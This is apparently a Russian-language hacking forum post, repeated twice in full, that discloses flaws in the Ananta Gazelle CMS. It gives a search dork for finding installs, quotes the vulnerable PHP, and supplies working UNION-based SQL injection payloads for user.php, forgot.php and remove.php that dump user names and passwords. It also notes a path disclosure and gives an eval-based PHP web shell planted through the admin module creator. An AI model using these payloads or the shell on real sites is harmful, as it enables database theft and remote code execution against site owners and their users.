Dimi4
22.04.2009, 19:07
Ananta Gazelle
Product : Ananta Gazelle
Dork : "CMS: Ananta Gazelle"
Site: http://www.anantasoft.com/
Found by: Dimi4
Date : 22.04.09
Пробегся быстренько по коду:
Довольна интересная скуль. Рассмотрим user.php
$user = $_GET["user"];
$q = mysql_query("select name from ".$tableprefix."users");
while ($k = mysql_fetch_array($q, MYSQL_ASSOC)) {
$userlist[$k{'name'}] = 1;
}
foreach ($userlist as $name => $value) {
if ($user == $name) {
$q = mysql_query("select name, email, joindate, showemail from ".$tableprefix."users where name='".$user."'");
while ($k = mysql_fetch_array($q, MYSQL_ASSOC)) {
$content = "<h3>User profile: ".$k{'name'}."</h3><div>
<p>Username: ".$k{'name'}."</p>";
Что же делает наша цмска? А она чтобы обезопасится от скули берет всех юзеров с базы а потом чекает с гетом) Ну и ладненько. Посмотрев на register.php понимаем что никакой фильтрации там нет! Думаю вы поняли к чему я веду.
Регестрируемся на сайте как:
a' union select concat_ws(0x3a,name,pass),2,3,4+from+gaz_users --
А далее:
user.php?user=a' union select concat_ws(0x3a,name,pass),2,3,4+from+gaz_users --
Sql-inj:
forgot.php
$users = mysql_query("select name from ".$tableprefix."users where email='".$_POST["email"]."'");
while ($user = mysql_fetch_array($users, MYSQL_ASSOC)) {
POST: email=e' union select concat_ws(0x3a,name,pass),2,3,4,5,6,7,8,9+from+gaz _users --
Раскрытие пути: (Вызываем скрипт из папки /admin/)
http://localhost/Ananta_Gazelle1.0/admin/edituser.php
Sql-inj
remove.php
$modules = mysql_query("select name, file from ".$tableprefix."modules where number='".$_POST["number"]."'");
while ($mod = mysql_fetch_array($modules, MYSQL_ASSOC)) {
$name = $mod{'name'};
POST: number=1' union select concat_ws(0x3a,name,pass),2,3,4,5+from+gaz_users --
Заливка шелла: Admin -> Create Module:
Name xek;
Code: <?php if(get_magic_quotes_gpc()) { eval(stripslashes($_GET['ev'])); } else { eval($_GET['ev']); } ?>
Product : Ananta Gazelle
Dork : "CMS: Ananta Gazelle"
Site: http://www.anantasoft.com/
Found by: Dimi4
Date : 22.04.09
Пробегся быстренько по коду:
Довольна интересная скуль. Рассмотрим user.php
$user = $_GET["user"];
$q = mysql_query("select name from ".$tableprefix."users");
while ($k = mysql_fetch_array($q, MYSQL_ASSOC)) {
$userlist[$k{'name'}] = 1;
}
foreach ($userlist as $name => $value) {
if ($user == $name) {
$q = mysql_query("select name, email, joindate, showemail from ".$tableprefix."users where name='".$user."'");
while ($k = mysql_fetch_array($q, MYSQL_ASSOC)) {
$content = "<h3>User profile: ".$k{'name'}."</h3><div>
<p>Username: ".$k{'name'}."</p>";
Что же делает наша цмска? А она чтобы обезопасится от скули берет всех юзеров с базы а потом чекает с гетом) Ну и ладненько. Посмотрев на register.php понимаем что никакой фильтрации там нет! Думаю вы поняли к чему я веду.
Регестрируемся на сайте как:
a' union select concat_ws(0x3a,name,pass),2,3,4+from+gaz_users --
А далее:
user.php?user=a' union select concat_ws(0x3a,name,pass),2,3,4+from+gaz_users --
Sql-inj:
forgot.php
$users = mysql_query("select name from ".$tableprefix."users where email='".$_POST["email"]."'");
while ($user = mysql_fetch_array($users, MYSQL_ASSOC)) {
POST: email=e' union select concat_ws(0x3a,name,pass),2,3,4,5,6,7,8,9+from+gaz _users --
Раскрытие пути: (Вызываем скрипт из папки /admin/)
http://localhost/Ananta_Gazelle1.0/admin/edituser.php
Sql-inj
remove.php
$modules = mysql_query("select name, file from ".$tableprefix."modules where number='".$_POST["number"]."'");
while ($mod = mysql_fetch_array($modules, MYSQL_ASSOC)) {
$name = $mod{'name'};
POST: number=1' union select concat_ws(0x3a,name,pass),2,3,4,5+from+gaz_users --
Заливка шелла: Admin -> Create Module:
Name xek;
Code: <?php if(get_magic_quotes_gpc()) { eval(stripslashes($_GET['ev'])); } else { eval($_GET['ev']); } ?>